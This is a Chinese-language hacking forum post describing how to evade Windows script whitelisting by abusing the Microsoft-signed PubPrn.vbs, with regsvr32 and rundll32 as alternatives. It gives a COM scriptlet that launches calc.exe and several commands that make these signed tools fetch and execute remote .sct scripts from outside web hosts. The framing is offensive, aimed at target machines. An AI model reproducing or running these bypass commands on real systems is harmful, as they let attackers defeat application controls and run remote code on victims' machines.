標題:利用script和scriptlet moniker繞過腳本白名單限制

taibeihacker

Moderator
沒事兒看了一下subtee和enigma0x3今年在BSides Nashville 2017上的演講,覺得這兩個猥瑣男簡直不能再猥瑣了:-)其中有一個猥瑣小技巧,又可以讓我們好好hunting一番了。我這裡先簡單介紹一下吧:
在很多時候我們發現我們在目標機器環境裡想要運行個js或者vbs腳本很困難,原因就是因為好多環境裡使用了白名單限制機制只允許特定簽名的腳本文件可以執行。在這樣的環境裡,我們應該怎麼樣去執行這些腳本呢?
首先在windows 7以上系統中,有這樣一個目錄:c:\windows\system32\printing_admin_scripts\, 在這個目錄下面會有一個文件夾,此文件夾的命名會根據系統的語言版本而有所不同(中文系統下是zh-cn, 而英文為en-US等),在這個文件夾下會有一些系統自帶的vbs腳本,這些腳本都是有著微軟簽名的,也就是說肯定可以執行的。
a5ui0e3zozr24394.png

在這些文件中,有一個文件叫做PubPrn.vbs,這個文件的代碼中有這麼幾行:
hsgv13dcknr24396.png

這個腳本執行的時候會接受兩個參數,第一個參數是一個網絡地址,我們可以忽略它,隨便填一個就ok。第二個參數會被傳遞給GetObject方法,而這個方法可以使用script和scriptlet 這兩個moniker直接指定一個網絡地址。因此利用方法如下:
編寫如下測試腳本,並上傳到一個web server上:
COM Scriptlet的示例
test.wsc:(這裡是測試的一個彈出計算器的腳本)
?xml version='1.0'?
package
component id='testCalc'
script language='JScript'
![CDATA[
var r=new ActiveXObject('WScript.Shell').Run('calc.exe');
]]
/script
/component
/package
您還可以使用James Forshaw(@tiraniddo)的工具DotNetToJScript中COM Scriptlet中擴展JScript/VBScript,允許Win32 API訪問,甚至Shellcode執行。
然後在目標機器上執行如下命令:
cscript /b C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 script:https://gist.githubusercontent.com/...a47e4075785016a62f7e5170ef36f5247cdb/test.sct
或者:
C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 'script:https://gist.githubusercontent.com/...a47e4075785016a62f7e5170ef36f5247cdb/test.sct
ni4aimkau4424397.png

由於VBScript依靠COM來執行操作,因此它在許多Microsoft簽名的腳本中被大量使用。雖然這只是一個例子,但一定會有其他可以以類似的方式被利用
附上sct其他姿勢技巧:
regsvr32 /s /u /n /i:cacl.sct scrobj.dll
fkgg2xsvull24399.png

regsvr32 /s /u /n /i:http://ys-h.ys168.com/581339150/k4M1K75557NMJVJgWw6/cacl.sct c:\windows\SysWOW64\scrobj.dll
4d55ahp0ido24401.png

rundll32遠程執行:
rundll32.exe javascript:'\.\mshtml,RunHTMLApplication ';document.write();GetObject('script:https://gist.githubusercontent.com/...6a62f7e5170ef36f5247cdb/test.sct');this.close()
gg3ah3agzmr24403.png
 
返回
上方